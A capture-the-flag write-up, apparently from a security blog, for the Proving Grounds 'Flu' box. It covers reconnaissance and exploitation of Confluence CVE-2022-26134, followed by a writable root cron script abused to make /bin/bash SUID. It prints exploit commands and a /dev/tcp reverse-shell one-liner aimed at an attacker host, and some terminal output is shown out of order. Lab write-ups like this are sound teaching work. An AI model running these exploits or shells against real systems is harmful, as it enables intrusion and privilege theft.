Skip to content
HackIndex.io

Flu Writeup - Proving Grounds

Easy Linux
Discuss on Discord

Created October 6, 2026 • Last updated October 7, 2026 • 4 min read

The Husky Hacker

sysadmin

Flu runs an outdated Atlassian Confluence on port 8090, vulnerable to the CVE-2022-26134 OGNL injection pre-auth RCE. A public exploit lands code execution as the confluence user, and a root-owned backup script in a writable /opt path is overwritten to set SUID on /bin/bash, giving a root shell.

Reconnaissance

Nmap

Scan all TCP ports and fingerprint the services.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- -sCV --reason $TARGET_IP 
PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 9.0p1 Ubuntu 1ubuntu8.5 (Ubuntu Linux; protocol 2.0)
8090/tcp open  http    syn-ack ttl 63 Apache Tomcat (language: en)
|_http-favicon: Unknown favicon MD5: 966E60F8EB85B7EA43A7B0095F3E2336
|_http-trane-info: Problem with XML parsing of /evox/about
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
8091/tcp open  jamlink? syn-ack ttl 63
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.1 204 No Content
|     Server: Aleph/0.4.6
Explain command
-p- Scan all 65535 TCP ports.
-sCV Run the default scripts and probe service versions.
--reason Show why each port is marked open.

SSH on 22, a Tomcat-fronted web app on 8090, and a secondary Aleph service on 8091. The web app on 8090 is the target.

Whatweb

Fingerprint the web application.

┌──(kali㉿kali)-[~]
└─$ whatweb http://$TARGET_IP:8090 
http://$TARGET_IP:8090 [302 Found] Confluence, Cookies[JSESSIONID], Country[RESERVED][ZZ]
http://$TARGET_IP:8090/login.action?os_destination=%2Findex.action&permissionViolation=true [200 OK]

The app is Atlassian Confluence, redirecting to login.action. Browsing to it confirms a Confluence login page.

The page footer leaks the version: Powered by Atlassian Confluence 7.13.6. That build is vulnerable to CVE-2022-26134, a pre-auth OGNL injection giving remote code execution.

Exploitation

Confluence OGNL injection (CVE-2022-26134)

A public exploit for CVE-2022-26134 is on Exploit-DB (50952). Run it with a single command to confirm execution.

┌──(kali㉿kali)-[~]
└─$ python3 50952.py -u http://$TARGET_IP:8090 -c id 
[-] CVE-2022-26134
[-] Confluence Pre-Auth Remote Code Execution via OGNL Injection

Found: http://$TARGET_IP:8090 // uid=1001(confluence) gid=1001(confluence) groups=1001(confluence)

[!] Saving the output result in: exploit_result.txt
Explain command
-u Target URL.
-c Command to run on the target.

Code runs as confluence. A Metasploit module exists but did not return a session here.

┌──(kali㉿kali)-[~]
└─$ msfconsole 
msf exploit(multi/http/atlassian_confluence_namespace_ognl_injection) > run
[*] Started reverse TCP handler on $ATTACKER_IP:$ATTACKER_PORT
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Successfully tested OGNL injection.
[*] Executing cmd/unix/php/meterpreter/reverse_tcp (Unix Command)
[*] Exploit completed, but no session was created.

No session, so stick with the Exploit-DB script. It reads files just as easily.

┌──(kali㉿kali)-[~]
└─$ python3 50952.py -u http://$TARGET_IP:8090 -c 'cat /etc/passwd' 
Found: http://$TARGET_IP:8090 // root:x:0:0:root:/root:/bin/bash
<snip>
confluence:x:1001:1001::/home/confluence:/bin/sh

To get an interactive shell, use a CVE-2022-26134 shell exploit against the same endpoint.

┌──(kali㉿kali)-[~]
└─$ python3 through_the_wire.py --rhost $TARGET_IP --rport 8090 --lhost $ATTACKER_IP --protocol http 
confluence@flu:/opt/atlassian/confluence/bin$ cd /home/confluence
confluence@flu:/home/confluence$ id
uid=1001(confluence) gid=1001(confluence) groups=1001(confluence)
Explain command
--rhost Target host running Confluence.
--rport Confluence port on the target.
--lhost Attacker IP for the callback.
--protocol Transport to use against the endpoint.

Shell as confluence. Move on to privilege escalation.

Privilege Escalation

Enumerating /opt turns up a backup script that root runs on a schedule. Read it, then check its ownership and permissions.

#!/bin/bash

CONFLUENCE_HOME="/opt/atlassian/confluence/"
LOG_DIR="$CONFLUENCE_HOME/logs"
BACKUP_DIR="/root/backup"
TIMESTAMP=$(date "+%Y%m%d%H%M%S")

# Create a backup of log files
cp -r $LOG_DIR $BACKUP_DIR/log_backup_$TIMESTAMP

tar -czf $BACKUP_DIR/log_backup_$TIMESTAMP.tar.gz $BACKUP_DIR/log_backup_$TIMESTAMP

# Cleanup old backups
find $BACKUP_DIR -name "log_backup_*" -mmin +5 -exec rm -rf {} \;
┌──(kali㉿kali)-[~]
└─$ ls -la /opt/log-backup.sh 
-rwxr-xr-x 1 confluence confluence 408 Dec 12  2023 log-backup.sh

The script writes to /root/backup, so it runs as root, and the file is owned by confluence. Setting SUID on bash directly as confluence is denied, but the script runs as root, so point it at bash instead.

┌──(kali㉿kali)-[~]
└─$ chmod u+s /bin/bash
┌──(kali㉿kali)-[~]
└─$ echo chmod u+s /bin/bash > /opt/log-backup.sh 
chmod: changing permissions of '/bin/bash': Operation not permitted
Explain command
chmod u+s Set the setuid bit so the binary runs as its owner.

We own the file, so overwrite it with a single chmod u+s /bin/bash. On the next root run the SUID bit lands on bash.

┌──(kali㉿kali)-[~]
└─$ ls -alh /bin/bash
┌──(kali㉿kali)-[~]
└─$ bash -i -p 
-rwsr-xr-x 1 root root 1.4M Jan  7  2023 /bin/bash
bash-5.2# id
uid=1001(confluence) gid=1001(confluence) euid=0(root) groups=1001(confluence)
Explain command
-p Keep the effective UID instead of dropping privileges, so the SUID root carries through.

bash -i -p preserves the root euid, giving a root shell. Alternatively, append a reverse shell to the script and catch it as root.

┌──(kali㉿kali)-[~]
└─$ nc -nlvp $ATTACKER_PORT
Explain command
-nlvp Listen, no DNS resolution, verbose, on the given port.
┌──(kali㉿kali)-[~]
└─$ echo 'sh -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1' >> /opt/log-backup.sh

Root achieved.

Related

SSTI Exploitation
Blog

SSTI Exploitation

Exploit Server-Side Template Injection vulnerabilities to achieve RCE by identifying template engine...
SUID and SGID Binary Privilege Escalation
Blog

SUID and SGID Binary Privilege Escalation

Exploit misconfigured SUID/SGID binaries on Linux to escalate privileges by abusing executables that...
Cron Job Privilege Escalation
Blog

Cron Job Privilege Escalation

Exploit misconfigured cron jobs running as root to escalate privileges via writable scripts, PATH hi...
Linux Reverse Shell Payloads and One-Liners
Blog

Linux Reverse Shell Payloads and One-Liners

Covers Linux reverse shell techniques using Bash, Python, Perl, Netcat and more for establishing rem...

References